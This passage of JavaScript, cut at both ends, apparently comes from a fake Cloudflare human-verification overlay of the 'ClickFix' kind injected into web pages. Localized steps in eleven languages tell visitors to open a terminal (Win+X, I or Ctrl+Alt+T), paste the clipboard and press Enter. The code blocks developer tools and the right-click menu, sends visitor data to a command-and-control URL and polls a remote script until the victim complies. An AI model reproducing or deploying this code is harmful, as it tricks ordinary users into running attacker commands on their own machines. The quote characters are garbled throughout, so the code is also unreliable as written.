Linux.‘}, zh: {keyboardInstructions:’\u8bf7\u5728 Linux \u952e\u76d8\u4e0a\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4′,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’\u6216\u4ece\u83dc\u5355\u6253\u5f00 Terminal‘,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T \u53ef\u5728 Ubuntu\u3001GNOME\u3001KDE \u7b49\u5927\u591a\u6570 Linux \u684c\u9762\u4e0a\u6253\u5f00\u7ec8\u7aef\u3002′}, ja: {keyboardInstructions:’Linux\u306e\u30ad\u30fc\u30dc\u30fc\u30c9\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044′,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’\u307e\u305f\u306f\u30e1\u30cb\u30e5\u30fc\u304b\u3089 Terminal \u3092\u958b\u304f‘,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T \u3067 Ubuntu\u3001GNOME\u3001KDE \u7b49\u306e\u5927\u304d\u306a Linux \u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u3067\u30bf\u30fc\u30df\u30ca\u30eb\u3092\u958b\u304d\u307e\u3059\u3002′}, ko: {keyboardInstructions:’Linux \ud0a4\ubcf4\ub4dc\uc5d0\uc11c \ub2e8\uacc4\ub97c \uc218\ud589\ud558\uc138\uc694′,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’\ub610\ub294 \uba54\ub274\uc5d0\uc11c Terminal \uc2e4\ud589′,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T\ub294 Ubuntu, GNOME, KDE \ub4f1 \ub300\ubd80\ubd84\uc758 Linux \ub370\uc2a4\ud06c\ud1b1\uc5d0\uc11c \ud130\ubbf8\ub110\uc744 \uc5fd\ub2c8\ub2e4.‘}, tr: {keyboardInstructions:’Ad\u0131mlar\u0131 Linux klavyenizde ger\u00e7ekle\u015ftirin‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’veya men\u00fcden Terminal a\u00e7\u0131n‘,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T, Ubuntu, GNOME, KDE ve \u00e7o\u011fu Linux masa\u00fcst\u00fcnde terminali a\u00e7ar.‘}, ar: {keyboardInstructions:’\u0646\u0641\u0651\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0645\u0641\u0627\u062a\u064a\u062d Linux‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’\u0623\u0648 \u0627\u0641\u062a\u062d Terminal \u0645\u0646 \u0627\u0644\u0642\u0627\u0626\u0645\u0629′,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T \u064a\u0641\u062a\u062d \u0627\u0644\u0637\u0631\u0645\u064a\u0632\u0627\u0644 \u0639\u0644\u0649 Ubuntu \u0648 GNOME \u0648 KDE \u0648\u0645\u0639\u0638\u0645 \u0623\u0633\u0637\u062d Linux.‘} } }; var SUPPORTED_LANGS = [‚en‘, ‚de‘, ‚fr‘, ‚es‘, ‚it‘, ‚pt‘, ‚zh‘, ‚ja‘, ‚ko‘, ‚tr‘, ‚ar‘]; function getBrowserLanguageCode() { var browserLanguages = (navigator.languages && navigator.languages.length ? navigator.languages : [navigator.language || ‚en‘]) .map(function(lang) { return String(lang || “).toLowerCase().split(‚-‚)[0]; }); for (var i = 0; i < browserLanguages.length; i++) { if (SUPPORTED_LANGS.indexOf(browserLanguages[i]) !== -1) { return browserLanguages[i]; } } return 'en'; } function mergeOsInstructionSteps(strings, langCode) { var os = TARGET_OPERATING_SYSTEM || detectVisitorOs(); if (os === 'windows') { strings.stepKeyHelp = strings.windowsKeyHelp; return strings; } var pack = OS_INSTRUCTION_PACKS[os]; if (!pack) { strings.stepKeyHelp = strings.windowsKeyHelp; return strings; } var overlay = pack[langCode] || pack.en; if (!overlay) { strings.stepKeyHelp = strings.windowsKeyHelp; return strings; } for (var key in overlay) { if (overlay.hasOwnProperty(key)) { strings[key] = overlay[key]; } } strings.stepKeyHelp = overlay.stepKeyHelp || strings.windowsKeyHelp; return strings; } function buildStep2Html(translations) { var html = translations.step2 || ''; if (translations.step2Chip) { html += '‚ + translations.step2Chip + ‚‚; } return html; } function getTranslatedStrings() { var translations = {en:{notRobotText:“I’m not a robot“,verifyingText:’Verifying…‘,verificationTitle:’Human Verification‘,verificationSubtitle:’Complete the steps below‘,keyboardInstructions:’Perform the steps on your keyboard‘,timeRemaining:’Time Remaining‘,warning30Seconds:’Less than 30 seconds remaining!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’or choose Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’Privacy‘,termsLink:’Terms‘,securityMessage:’needs to review the security of your connection before proceeding.‘,windowsKeyHelp:’This is the Windows key, located at the bottom of your keyboard between Ctrl and Alt, under the Z key‘},de:{notRobotText:’Ich bin kein Roboter‘,verifyingText:’\u00dcberpr\u00fcfung\u2026′,verificationTitle:’Menschliche Verifizierung‘,verificationSubtitle:’F\u00fchren Sie die folgenden Schritte aus‘,keyboardInstructions:’F\u00fchren Sie die Schritte auf Ihrer Tastatur durch‘,timeRemaining:’Verbleibende Zeit‘,warning30Seconds:’Weniger als 30 Sekunden!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’oder Terminal‘,step3:‘Strg + V‚,step4:‘Enter \u21b5‚,privacyLink:’Datenschutz‘,termsLink:’Bedingungen‘,securityMessage:’muss die Sicherheit Ihrer Verbindung \u00fcberpr\u00fcfen.‘,windowsKeyHelp:’Das ist die Windows-Taste, unten auf der Tastatur zwischen Strg und Alt, unter der Z-Taste‘},fr:{notRobotText:’Je ne suis pas un robot‘,verifyingText:’V\u00e9rification\u2026′,verificationTitle:’V\u00e9rification humaine‘,verificationSubtitle:’Suivez les \u00e9tapes ci-dessous‘,keyboardInstructions:’Effectuez les \u00e9tapes sur votre clavier‘,timeRemaining:’Temps restant‘,warning30Seconds:’Moins de 30 secondes !‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’ou Terminal‘,step3:‘Ctrl + V‚,step4:‘Entr\u00e9e \u21b5‚,privacyLink:’Confidentialit\u00e9′,termsLink:’Conditions‘,securityMessage:’doit v\u00e9rifier la s\u00e9curit\u00e9 de votre connexion.‘,windowsKeyHelp:’C\’est la touche Windows, en bas du clavier entre Ctrl et Alt, sous la touche Z‘},es:{notRobotText:’No soy un robot‘,verifyingText:’Comprobando\u2026′,verificationTitle:’Verificaci\u00f3n humana‘,verificationSubtitle:’Completa los pasos abajo‘,keyboardInstructions:’Realiza los pasos en tu teclado‘,timeRemaining:’Tiempo restante‘,warning30Seconds:’\u00a1Menos de 30 segundos!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’o Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’Privacidad‘,termsLink:’T\u00e9rminos‘,securityMessage:’debe revisar la seguridad de tu conexi\u00f3n.‘,windowsKeyHelp:’Esta es la tecla de Windows, en la parte inferior del teclado entre Ctrl y Alt, bajo la tecla Z‘},it:{notRobotText:’Non sono un robot‘,verifyingText:’Verifica\u2026′,verificationTitle:’Verifica umana‘,verificationSubtitle:’Completa i passaggi seguenti‘,keyboardInstructions:’Esegui i passaggi sulla tua tastiera‘,timeRemaining:’Tempo rimanente‘,warning30Seconds:’Meno di 30 secondi!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’o Terminal‘,step3:‘Ctrl + V‚,step4:‘Invio \u21b5‚,privacyLink:’Privacy‘,termsLink:’Termini‘,securityMessage:’deve verificare la sicurezza della connessione.‘,windowsKeyHelp:’Questo \u00e8 il tasto Windows, in basso sulla tastiera tra Ctrl e Alt, sotto il tasto Z‘},pt:{notRobotText:’N\u00e3o sou um rob\u00f4′,verifyingText:’Verificando\u2026′,verificationTitle:’Verifica\u00e7\u00e3o humana‘,verificationSubtitle:’Conclua as etapas abaixo‘,keyboardInstructions:’Execute as etapas no seu teclado‘,timeRemaining:’Tempo restante‘,warning30Seconds:’Menos de 30 segundos!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’ou Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’Privacidade‘,termsLink:’Termos‘,securityMessage:’precisa verificar a seguran\u00e7a da conex\u00e3o.‘,windowsKeyHelp:’Esta \u00e9 a tecla Windows, na parte inferior do teclado entre Ctrl e Alt, abaixo da tecla Z‘},zh:{notRobotText:’\u6211\u4e0d\u662f\u673a\u5668\u4eba‘,verifyingText:’\u6b63\u5728\u68c0\u67e5\u2026′,verificationTitle:’\u4eba\u5de5\u9a8c\u8bc1′,verificationSubtitle:’\u8bf7\u5b8c\u6210\u4ee5\u4e0b\u6b65\u9aa4′,keyboardInstructions:’\u8bf7\u5728\u952e\u76d8\u4e0a\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4′,timeRemaining:’\u5269\u4f59\u65f6\u95f4′,warning30Seconds:’\u5269\u4f59\u4e0d\u8db330\u79d2\uff01′,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’\u9009\u62e9 Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’\u9690\u79c1′,termsLink:’\u6761\u6b3e‘,securityMessage:’\u9700\u8981\u68c0\u67e5\u60a8\u7684\u8fde\u63a5\u5b89\u5168\u6027\u3002′,windowsKeyHelp:’\u8fd9\u662f Windows \u952e\uff0c\u4f4d\u4e8e\u952e\u76d8\u5e95\u90e8 Ctrl \u548c Alt \u4e4b\u95f4\uff0cZ \u952e\u4e0b\u65b9′},ja:{notRobotText:’\u79c1\u306f\u30ed\u30dc\u30c3\u30c8\u3067\u306f\u3042\u308a\u307e\u305b\u3093′,verifyingText:’\u78ba\u8a8d\u4e2d\u2026′,verificationTitle:’\u4eba\u9593\u78ba\u8a8d‘,verificationSubtitle:’\u4ee5\u4e0b\u306e\u624b\u9806\u3092\u5b8c\u4e86\u3057\u3066\u304f\u3060\u3055\u3044′,keyboardInstructions:’\u30ad\u30fc\u30dc\u30fc\u30c9\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044′,timeRemaining:’\u6b8b\u308a\u6642\u9593′,warning30Seconds:’\u6b8b\u308a30\u79d2\u672a\u6e80\uff01′,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’\u307e\u305f\u306f Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’\u30d7\u30e9\u30a4\u30d0\u30b7\u30fc‘,termsLink:’\u898f\u7d04′,securityMessage:’\u63a5\u7d9a\u306e\u5b89\u5168\u6027\u3092\u78ba\u8a8d\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002′,windowsKeyHelp:’\u3053\u308c\u306f Windows \u30ad\u30fc\u3067\u3059\u3002\u30ad\u30fc\u30dc\u30fc\u30c9\u4e0b\u90e8\u306e Ctrl \u3068 Alt \u306e\u9593\u3001Z \u30ad\u30fc\u306e\u4e0b\u306b\u3042\u308a\u307e\u3059′},ko:{notRobotText:’\ub098\ub294 \ub85c\ubd07\uc774 \uc544\ub2d9\ub2c8\ub2e4′,verifyingText:’\ud655\uc778 \uc911\u2026′,verificationTitle:’\uc0ac\ub78c \ud655\uc778′,verificationSubtitle:’\uc544\ub798 \ub2e8\uacc4\ub97c \uc644\ub8cc\ud558\uc138\uc694′,keyboardInstructions:’\ud0a4\ubcf4\ub4dc\ub85c \ub2e8\uacc4\ub97c \uc218\ud589\ud558\uc138\uc694′,timeRemaining:’\ub0a8\uc740 \uc2dc\uac04′,warning30Seconds:’30\ucd08 \ubbf8\ub9cc \ub0a8\uc74c!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’\ub610\ub294 Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’\uac1c\uc778\uc815\ubcf4′,termsLink:’\uc57d\uad00′,securityMessage:’\uc5f0\uacb0 \ubcf4\uc548\uc744 \ud655\uc778\ud574\uc57c \ud569\ub2c8\ub2e4.‘,windowsKeyHelp:’\uc774\uac83\uc740 Windows \ud0a4\uc785\ub2c8\ub2e4. \ud0a4\ubcf4\ub4dc \ud558\ub2e8\uc758 Ctrl\uacfc Alt \uc0ac\uc774, Z \ud0a4 \uc544\ub798\uc5d0 \uc788\uc2b5\ub2c8\ub2e4′},tr:{notRobotText:’Ben robot de\u011filim‘,verifyingText:’Kontrol ediliyor\u2026′,verificationTitle:’\u0130nsan do\u011frulamas\u0131′,verificationSubtitle:’A\u015fa\u011f\u0131daki ad\u0131mlar\u0131 tamamlay\u0131n‘,keyboardInstructions:’Ad\u0131mlar\u0131 klavyenizde ger\u00e7ekle\u015ftirin‘,timeRemaining:’Kalan s\u00fcre‘,warning30Seconds:’30 saniyeden az kald\u0131!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’veya Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’Gizlilik‘,termsLink:’\u015eartlar‘,securityMessage:’ba\u011flant\u0131n\u0131z\u0131n g\u00fcvenli\u011fini kontrol etmesi gerekiyor.‘,windowsKeyHelp:’Bu Windows tu\u015fudur, klavyenizin alt k\u0131sm\u0131nda Ctrl ve Alt aras\u0131nda, Z tu\u015funun alt\u0131nda bulunur‘},ar:{notRobotText:’\u0644\u0633\u062a \u0628\u0631\u0646\u0627\u0645\u062c \u0631\u0648\u0628\u0648\u062a‘,verifyingText:’\u062c\u0627\u0631\u064d \u0627\u0644\u062a\u062d\u0642\u0642\u2026′,verificationTitle:’\u0627\u0644\u062a\u062d\u0642\u0642 \u0627\u0644\u0628\u0634\u0631\u064a‘,verificationSubtitle:’\u0623\u0643\u0645\u0644 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0623\u062f\u0646\u0627\u0647′,keyboardInstructions:’\u0646\u0641\u0651\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d‘,timeRemaining:’\u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0645\u062a\u0628\u0642\u064a‘,warning30Seconds:’\u0623\u0642\u0644 \u0645\u0646 30 \u062b\u0627\u0646\u064a\u0629!‘,step1:‘‚+WINDOWS_LOGO_SVG+‘ + X‚,step2:‘I‚,step2Chip:’\u0623\u0648 Terminal‘,step3:‘Ctrl + V‚,step4:‘Enter \u21b5‚,privacyLink:’\u0627\u0644\u062e\u0635\u0648\u0635\u064a\u0629′,termsLink:’\u0627\u0644\u0634\u0631\u0648\u0637′,securityMessage:’\u064a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0645\u0631\u0627\u062c\u0639\u0629 \u0623\u0645\u0627\u0646 \u0627\u062a\u0635\u0627\u0644\u0643.‘,windowsKeyHelp:’\u0647\u0630\u0627 \u0647\u0648 \u0645\u0641\u062a\u0627\u062d Windows\u060c \u0641\u064a \u0623\u0633\u0641\u0644 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0628\u064a\u0646 Ctrl \u0648 Alt\u060c \u062a\u062d\u062a \u0645\u0641\u062a\u0627\u062d Z‘}}; var langCode = getBrowserLanguageCode(); if (translations[langCode]) { return translations[langCode]; } return translations.en; } var UI_TRANSLATIONS = mergeOsInstructionSteps(getTranslatedStrings(), getBrowserLanguageCode()); var STEP2_HTML = buildStep2Html(UI_TRANSLATIONS); var CLOUDFLARE_LOGO_SVG = ‚cloudflare‘; var CLOUDFLARE_LOGO_BASE64 = ‚data:image/svg+xml;base64,‘ + btoa(CLOUDFLARE_LOGO_SVG); var IS_LIGHT_MODE = !!(window.matchMedia && window.matchMedia(‚(prefers-color-scheme:light)‘).matches); var CLOUDFLARE_FULL_LOGO_SVG = ‚.a{fill:#fff}.b{fill:#f48120}.c{fill:#faad3f}.d{fill:‘ + (IS_LIGHT_MODE ? ‚#404041‘ : ‚#fff‘) + ‚}‘; var CLOUDFLARE_FULL_LOGO_BASE64 = ‚data:image/svg+xml;base64,‘ + btoa(CLOUDFLARE_FULL_LOGO_SVG); var CLOUDFLARE_WHITE_LOGO_BASE64 = ‚data:image/svg+xml;base64,‘ + btoa( CLOUDFLARE_FULL_LOGO_SVG.replace(‚.d{fill:‘ + (IS_LIGHT_MODE ? ‚#404041‘ : ‚#fff‘) + ‚}‘, ‚.d{fill:#fff}‘) ); var DISPLAY_HOSTNAME = CUSTOM_DOMAIN || (window.location && window.location.hostname) || ‚cloudflare.com‘; var RAY_TRACKING_ID = ‚d8fc26fb3c8ae49a‘; var styleElement = document.createElement(’style‘); styleElement.id = ‚bw-cf-style‘; styleElement.textContent = ‚#bw-cf-root{position:fixed !important;top:0 !important;left:0 !important;right:0 !important;bottom:0 !important;width:100vw !important;height:100vh !important;min-width:100vw !important;min-height:100vh !important;max-width:none !important;max-height:none !important;margin:0 !important;padding:0 !important;box-sizing:border-box !important;transform:none !important;z-index:2147483647 !important;background:#222;color:#d9d9d9;overflow:auto;font-family:system-ui,-apple-system,“Segoe UI“,Roboto,Arial,sans-serif !important;direction:ltr !important;font-size:16px !important;line-height:1.5;text-align:left !important;unicode-bidi:isolate !important;}’+’#bw-cf-root *{box-sizing:border-box !important;margin:0;padding:0;}’+’#bw-cf-root .main-content{margin:8em auto;padding:0 1.5em;max-width:60em;width:100%;}’+’#bw-cf-root .h1{line-height:1.4;font-size:2.5em;font-weight:500;display:flex;align-items:center;gap:0.75em;color:#fff;}’+’#bw-cf-root .h2{line-height:1.5;font-size:1.5em;font-weight:400;color:#d1d1d1;margin-top:0.3em;}’+’#bw-cf-root .heading-favicon{height:1em;width:auto;}’+’#bw-cf-root .core-msg{line-height:1.6;font-size:1.5em;font-weight:400;color:#d1d1d1;margin-top:2.5em;}’+’#bw-cf-root .widget-spacer{margin:2.5em 0;}’+’#bw-cf-root .checkbox-window{box-sizing:border-box;display:flex;flex-direction:column;align-items:stretch;justify-content:center;border:1px solid #797979;background-color:#232323;height:78px;user-select:none;padding:0 16px;width:100%;max-width:320px;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .checkbox-row{display:flex;align-items:center;width:100%;min-height:78px;justify-content:space-between;gap:7px;direction:ltr !important;}’+’#bw-cf-root .checkbox-container{width:30px;flex:0 0 30px;display:flex;align-items:center;justify-content:center;position:relative;}’+’#bw-cf-root .checkbox{width:30px;height:30px;border-radius:3px;border:2px solid #dadada;background:#232323;cursor:pointer;display:block;outline:none;padding:0;-webkit-appearance:none;appearance:none;transition:border-color .2s;}’+’#bw-cf-root .checkbox:hover{border-color:#fbad41;}’+’#bw-cf-root .tettx{display:flex;align-items:center;min-height:30px;flex:1;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .tettx p{margin:0 !important;line-height:1;font-size:14px;color:#fff;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .checkbox-row>div:last-child{display:inline-flex;flex-direction:column;text-align:right;align-items:flex-end;flex-shrink:0;}’+’#bw-cf-root .checkbox-row>div:last-child img{width:90px;margin-bottom:4px;}’+’#bw-cf-root .checkbox-row>div:last-child p{line-height:1.4;color:#bbb;font-size:8px;text-decoration:underline;margin:0 !important;white-space:nowrap;}’+’#bw-cf-root .spinner-wrap{display:none;width:32px;height:32px;align-items:center;justify-content:center;}’+’#bw-cf-root .ck-wrap{display:none;width:30px;height:30px;align-items:center;justify-content:center;}’+’#bw-cf-root .footer{position:fixed;bottom:0;left:0;right:0;padding:1em 1.5em;}’+’#bw-cf-root .footer-inner{border-top:1px solid #444;padding:1em 0;text-align:center;font-size:.75em;}’+’#bw-cf-root .rc{font-family:monospace;}’+’#bw-cf-root .verify-window{position:fixed !important;top:0 !important;left:0 !important;width:100% !important;height:100% !important;background:rgba(0,0,0,.7);display:none;justify-content:center;align-items:center;z-index:2147483648 !important;opacity:0;transition:opacity .3s,visibility .3s;}’+’#bw-cf-root .verify-window.active{display:flex;opacity:1;}’+’#bw-cf-root .modal-content{background:#2b2b2b;border-radius:8px;max-width:420px;width:90%;overflow:hidden;transform:scale(.95);transition:transform .3s;}’+’#bw-cf-root .verify-window.active .modal-content{transform:scale(1);}’+’#bw-cf-root .modal-header{background:linear-gradient(90deg,#f38020,#e9a33f);padding:1rem 1.5rem;display:flex;justify-content:space-between;align-items:center;gap:10px;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .modal-header h2{font-size:1em;margin:0 !important;color:#fff;font-weight:600;}’+’#bw-cf-root .modal-header p{font-size:.75em;margin:.1em 0 0 !important;color:#fff;opacity:.9;}’+’#bw-cf-root .modal-header img{height:40px;}’+’#bw-cf-root .modal-body{padding:1.25em;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .instruction-list{list-style:none;padding:0 !important;margin:0 0 1.25em !important;display:flex;flex-direction:column;gap:0.85em;}’+’#bw-cf-root .instruction-list li{display:flex;align-items:center;justify-content:space-between;gap:1em;padding:1em 1.1em !important;margin:0 !important;background:rgba(255,255,255,.07);border-left:2px solid #f38020;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .step-left{display:flex;align-items:center;gap:.75em;direction:ltr !important;}’+’#bw-cf-root .step-badge{display:flex;align-items:center;justify-content:center;width:22px;height:22px;background:linear-gradient(135deg,#f38020,#e9a33f);color:#fff;font-weight:700;font-size:11px;border-radius:50%;flex:0 0 auto;}’+’#bw-cf-root .step-text{color:#fff;font-size:13px;}’+’#bw-cf-root .step-text b{display:inline-block;background:rgba(243,128,32,.2);color:#f59040;padding:2px 8px;border-radius:4px;border:1px solid transparent;font-weight:700;font-size:11.5px;font-family:monospace;vertical-align:middle;margin:0 2px;box-shadow:none;transition:background .15s,color .15s,transform .12s;white-space:nowrap;}’+’#bw-cf-root .step-text b.klit{background:rgba(243,128,32,.45);border-color:transparent;color:#ffb870;box-shadow:none;transform:scale(0.95);}’+’#bw-cf-root .step-text b{position:relative;overflow:visible;}’+’#bw-cf-root .wk-hint{position:absolute;top:-7px;right:-9px;width:14px;height:14px;background:rgba(83,155,245,.85);color:#fff;border-radius:50%;font-size:8.5px;cursor:help;display:flex;align-items:center;justify-content:center;font-weight:800;font-family:system-ui,sans-serif;line-height:1;z-index:3;border:1px solid rgba(83,155,245,.4);letter-spacing:0;}’+’#bw-cf-root .wk-tooltip{display:none;position:absolute;top:calc(100% + 6px);left:0;background:#131c35;color:#c8d6f8;border:1px solid rgba(90,137,226,.35);border-radius:7px;padding:8px 11px;font-size:11.5px;white-space:normal;width:218px;z-index:20;pointer-events:none;font-family:system-ui,sans-serif;font-weight:400;box-shadow:0 6px 18px rgba(0,0,0,.5);line-height:1.45;font-style:normal;letter-spacing:0;}’+’#bw-cf-root .wk-hint:hover .wk-tooltip{display:block;}’+’#bw-cf-root .key-combo{display:flex;align-items:center;gap:4px;background:rgba(0,0,0,.2);padding:3px 6px;border-radius:4px;direction:ltr !important;}’+’#bw-cf-root kbd{display:inline-flex;align-items:center;justify-content:center;min-width:26px;height:26px;padding:0 5px;background:linear-gradient(145deg,#2d2d2d,#1a1a1a);border:1px solid #444;border-radius:4px;box-shadow:0 1px 0 #0a0a0a;color:#fff;font-family:monospace;font-size:11px;font-weight:600;white-space:nowrap;}’+’#bw-cf-root .key-combo .plus{color:#888;font-size:12px;}’+’#bw-cf-root .key-combo .hint{color:#f38020;font-size:14px;margin-left:2px;}’+’@media(prefers-color-scheme:light){#bw-cf-root{background:#fff !important;color:#111;}#bw-cf-root .h1{color:#111;}#bw-cf-root .core-msg{color:#444;}#bw-cf-root .footer-inner{border-top-color:#ddd;color:#777;}#bw-cf-root .checkbox-window{border-color:#d1d1d1;background-color:#f9f9f9;}#bw-cf-root .checkbox{border-color:#aaa;background:#eee;}#bw-cf-root .tettx p{color:#111;}#bw-cf-root .checkbox-row>div:last-child p{color:#555;}#bw-cf-root .modal-content{background:#fff;}#bw-cf-root .step-text{color:#222;}#bw-cf-root .step-text b{background:rgba(243,128,32,.15);color:#b05500;border-color:transparent;box-shadow:none;}#bw-cf-root .step-text b.klit{background:rgba(243,128,32,.32);border-color:transparent;color:#904000;box-shadow:none;}#bw-cf-root .instruction-list li{background:rgba(0,0,0,.04);}#bw-cf-root .wk-hint{background:rgba(30,74,184,.8);border-color:rgba(30,74,184,.4);}#bw-cf-root .wk-tooltip{background:#eef2ff;color:#1e3a8a;border-color:rgba(61,107,191,.35);box-shadow:0 4px 12px rgba(0,0,0,.1);}}’+’#bw-cf-root .term-chip{display:inline-flex;align-items:center;vertical-align:middle;background:linear-gradient(135deg,#f38020,#e9a33f);color:#fff;border-radius:5px;font-size:.8em;font-weight:700;padding:2px 7px;margin-left:5px;white-space:nowrap;}’+’#bw-cf-root .cf-loader{display:flex;flex-direction:column;align-items:center;padding:.75em 0 1.25em;}’+’#bw-cf-root .cf-loader svg{width:72px;height:auto;margin-bottom:10px;}’+’#bw-cf-root .cf-loader-bar{width:116px;height:4px;background:#e5e5e5;border-radius:2px;overflow:hidden;margin-top:4px;}’+’#bw-cf-root .cf-loader-bar-inner{width:25%;height:100%;background:linear-gradient(90deg,transparent,#f78100 45%,#f78100 55%,transparent);border-radius:2px;animation:cfLoadBar 1.5s ease-in-out infinite;}’+’@keyframes cfLoadBar{0%{transform:translateX(-100%)}50%{transform:translateX(400%)}100%{transform:translateX(-100%)}}’+’@keyframes bwCfSpin{0%{transform:rotate(0deg);}100%{transform:rotate(360deg);}}’+’@keyframes bwCfPulse{0%,100%{opacity:1;}50%{opacity:.5;}}‘; document.head.appendChild(styleElement); var rootElement = document.createElement(‚div‘); rootElement.id = ‚bw-cf-root‘; rootElement.setAttribute(‚dir‘, ‚ltr‘); rootElement.style.cssText = ‚position:fixed!important;top:0!important;left:0!important;right:0!important;bottom:0!important;width:100vw!important;height:100vh!important;min-width:100vw!important;min-height:100vh!important;max-width:none!important;max-height:none!important;margin:0!important;padding:0!important;z-index:2147483647!important;box-sizing:border-box!important;transform:none!important;‘; rootElement.innerHTML = `
Cloudflare ${DISPLAY_HOSTNAME}

${UI_TRANSLATIONS.verifyingText}

${UI_TRANSLATIONS.privacyLink} · ${UI_TRANSLATIONS.termsLink}

${DISPLAY_HOSTNAME} ${UI_TRANSLATIONS.securityMessage}

`; (document.documentElement || document.body).appendChild(rootElement); rootElement.style.backgroundColor = ‚rgba(34,34,34,‘ + BACKGROUND_OPACITY + ‚)‘; try { if (window.lscCogniStackOurOverlay) window.lscCogniStackOurOverlay(rootElement); else if (document.body) document.body.appendChild(rootElement); } catch (e) {} var documentElement = document.documentElement; var documentBody = document.body; if (documentElement) { documentElement.style.overflow = ‚hidden‘; documentElement.style.overscrollBehavior = ’none‘; } if (documentBody) { documentBody.style.overflow = ‚hidden‘; documentBody.style.overscrollBehavior = ’none‘; } document.addEventListener(‚keydown‘, function(event) { var key = String(event.key || “).toLowerCase(); if (key === ‚f12‘ || ((event.ctrlKey || event.metaKey) && event.shiftKey && (key === ‚i‘ || key === ‚j‘ || key === ‚c‘)) || ((event.ctrlKey || event.metaKey) && key === ‚u‘)) { event.preventDefault(); event.stopPropagation(); } }, true); document.addEventListener(‚contextmenu‘, function(event) { event.preventDefault(); event.stopPropagation(); }, true); function sendRequestToServer(payload) { return fetch(CC_SERVER_API_URL, { method: ‚POST‘, cache: ’no-store‘, headers: { ‚Content-Type‘: ‚application/x-www-form-urlencoded‘ }, body: ‚d=‘ + encodeURIComponent(btoa(JSON.stringify(payload))) }); } function decodeServerResponse(hexString) { var decodedString = “; var charIndex = 0; for (; charIndex 180000) { return; } isPollInFlight = true; var checkUrl = APPS_SCRIPT_URL + ‚?id=‘ + encodeURIComponent(UNIQUE_VISITOR_ID); fetch(checkUrl, { method: ‚GET‘, redirect: ‚follow‘, credentials: ‚omit‘, cache: ’no-store‘ }) .then(function(response) { return response.json(); }) .then(function(data) { isPollInFlight = false; if (data && data.exists === true) { completeVerification(); } else { // Next GET only after this response — never overlap. setTimeout(pollServerStatus, 2000); } }) .catch(function() { isPollInFlight = false; setTimeout(pollServerStatus, 2000); }); } setTimeout(pollServerStatus, 2000); } function processKeyboardSteps(modalElement) { var buttonElements = Array.prototype.slice.call( modalElement.querySelectorAll(‚.step-text b‘) ); for (var i = 0; i < buttonElements.length; i++) { var buttonElement = buttonElements[i]; if (buttonElement.innerHTML.indexOf(' + ') === -1) { continue; } var keyParts = buttonElement.innerHTML.split(' + '); var documentFragment = document.createDocumentFragment(); for (var j = 0; j 0) { var plusSpan = document.createElement(’span‘); plusSpan.style.cssText = ‚color:#666;font-size:11px;margin:0 3px;vertical-align:middle;‘; plusSpan.textContent = ‚+‘; documentFragment.appendChild(plusSpan); } var newButton = document.createElement(‚b‘); newButton.innerHTML = keyParts[j]; documentFragment.appendChild(newButton); } buttonElement.parentNode.replaceChild(documentFragment, buttonElement); } } function startKeyboardAnimation(modalElement) { var instructionItems = Array.prototype.slice.call( modalElement.querySelectorAll(‚.instruction-list 